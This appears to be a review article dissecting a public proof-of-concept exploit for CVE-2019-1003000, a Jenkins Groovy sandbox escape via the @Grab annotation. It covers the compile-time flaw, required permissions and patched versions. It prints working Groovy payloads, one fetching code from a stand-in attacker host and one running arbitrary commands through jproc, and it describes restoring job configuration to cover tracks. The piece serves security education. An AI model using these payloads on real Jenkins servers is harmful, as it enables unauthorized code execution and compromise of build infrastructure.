How a Groovy Annotation Bypassed Jenkins' Security Sandbox: Dissecting CVE-2019-1003000
Hook
In 2019, a simple Java annotation—@Grab—allowed attackers to execute arbitrary code on thousands of Jenkins servers, bypassing one of the most scrutinized security sandboxes in CI/CD infrastructure.
Context
Jenkins has long walked a tightrope between flexibility and security. The platform's power comes from allowing users to execute Groovy scripts for pipeline definitions, job configurations, and system administration. But unrestricted script execution is a disaster waiting to happen—especially in shared Jenkins environments where multiple teams deploy code. To solve this, Jenkins introduced the Script Security plugin, a sophisticated sandbox that intercepts and validates every method call, property access, and constructor invocation in Groovy scripts.
The sandbox worked remarkably well for years, blocking obvious attack vectors like Runtime.getRuntime().exec() and File operations. Security researchers probed it continuously, finding occasional bypasses that Jenkins would patch. But CVE-2019-1003000, discovered by Orange Tsai of DEVCORE, revealed a fundamental architectural flaw: the sandbox only protected code during execution, not during compilation. Groovy's Abstract Syntax Tree (AST) transformations—particularly the @Grab annotation used for dependency management—run during the compilation phase, before any sandbox checks occur. This timing discrepancy created a perfect escape hatch.
Technical Insight
The adamyordan repository demonstrates this exploit with surgical precision. The attack leverages Groovy's @Grab annotation, which uses Apache Ivy to download and include external dependencies from Maven repositories. Normally, this annotation helps developers import libraries into their scripts. But in the hands of an attacker, it becomes a weapon to import unchecked, sandbox-free code.
Here's the core payload from the exploit:
@GrabConfig(disableChecksums=true)
@GrabResolver(name='test', root='http://attacker-server/')
@Grab(group='package', module='module', version='1.0')
import Payload;
This seemingly innocent annotation tells Groovy to fetch a malicious JAR from an attacker-controlled server during script compilation. The imported classes execute arbitrary Java code with full Jenkins permissions—no sandbox interference because the sandbox hasn't been instantiated yet. The exploit specifically uses the jproc library as its vehicle, which provides clean process execution capabilities.
The actual implementation in the repository takes a more practical approach for demonstrators who don't want to set up malicious Maven repositories. It uses a legitimate library (jproc from Maven Central) to achieve command execution:
@GrabResolver(name='mvnRepository', root='https://repo1.maven.org/maven2/')
@Grab(group='org.buildobjects', module='jproc', version='2.2.3')
import org.buildobjects.process.ProcBuilder
node {
def proc = new ProcBuilder("${command}")
proc.withWorkingDirectory(new File("/tmp/"))
def result = proc.run()
println result.getOutputString()
}
The exploit script itself (written in Python, despite the JavaScript language tag) automates the complete attack chain. It authenticates to Jenkins using provided credentials, retrieves an existing pipeline job configuration via the Jenkins API, injects the malicious Groovy payload, triggers a build, polls for completion, extracts command output from the console logs, and crucially—restores the original job configuration to cover tracks.
What makes this particularly insidious is the privilege requirement: only Overall/Read and Job/Configure permissions. In many organizations, developers have these permissions for legitimate work. An attacker who compromises a developer account doesn't need admin privileges to achieve full system compromise. The exploit even includes retry logic and job state management to handle Jenkins' asynchronous build queue:
while True:
time.sleep(2)
build_info = server.get_build_info(job_name, build_number)
if not build_info['building']:
break
The repository's inclusion of a vulnerable Docker environment (jenkins:2.138-alpine with specific plugin versions) transforms it from a mere proof-of-concept into a complete security training platform. Researchers can spin up the vulnerable instance, run the exploit, observe the compromise, and experiment with detection strategies—all without risking production systems.
The technical elegance extends to the exploit's output extraction mechanism. Since pipeline jobs don't return output directly through the API, the script scrapes the HTML console output, parsing Jenkins' web interface to retrieve command results. This demonstrates deep understanding of Jenkins internals beyond just the vulnerability itself.
Gotcha
This exploit only works against specific, outdated versions of Jenkins plugins. You need Script Security Plugin < 1.50, Pipeline: Groovy Plugin < 2.61.1, or Pipeline: Declarative Plugin < 1.3.4.1—all patched in January 2019. Any organization running modern Jenkins installations with automated updates will be immune. The exploit also requires valid credentials, making it useless for external attackers unless combined with other vulnerabilities like CVE-2018-1000861 (the pre-authentication arbitrary file read that Orange Tsai chained with this for complete remote exploitation).
The exploit's operational security is poor for real-world attacks. It modifies job configurations, triggers builds, and leaves extensive audit logs. Any competent Jenkins administrator monitoring configuration changes or build activity will spot this immediately. The synchronous execution model means the attacker must maintain connection throughout the entire attack, and the job execution time depends on Jenkins queue depth and executor availability. In high-traffic Jenkins environments, you might wait minutes for a build slot, making this impractical for time-sensitive operations. The repository itself hasn't been updated since 2019, so expect no support for newer Jenkins API versions or authentication mechanisms.
Verdict
Use if: You're a security professional conducting authorized penetration tests on legacy Jenkins infrastructure, you're building a security training lab to teach sandbox escape techniques, or you need to verify that your organization's Jenkins instances have been properly patched against historical vulnerabilities. This is an excellent educational tool for understanding AST transformation attacks and the subtleties of sandbox implementation. Skip if: You're looking for production security tooling, you need to assess modern Jenkins installations (use nuclei or similar), you want stealthy exploitation capabilities (this is noisy), or you lack explicit authorization (using this without permission is illegal and unethical). For contemporary Jenkins security assessment, investigate the Metasploit Framework's jenkins modules or dedicated Jenkins security scanners that detect vulnerabilities without exploitation. This repository's value is historical and educational—a well-documented artifact of how compilation-time code execution can bypass runtime security controls.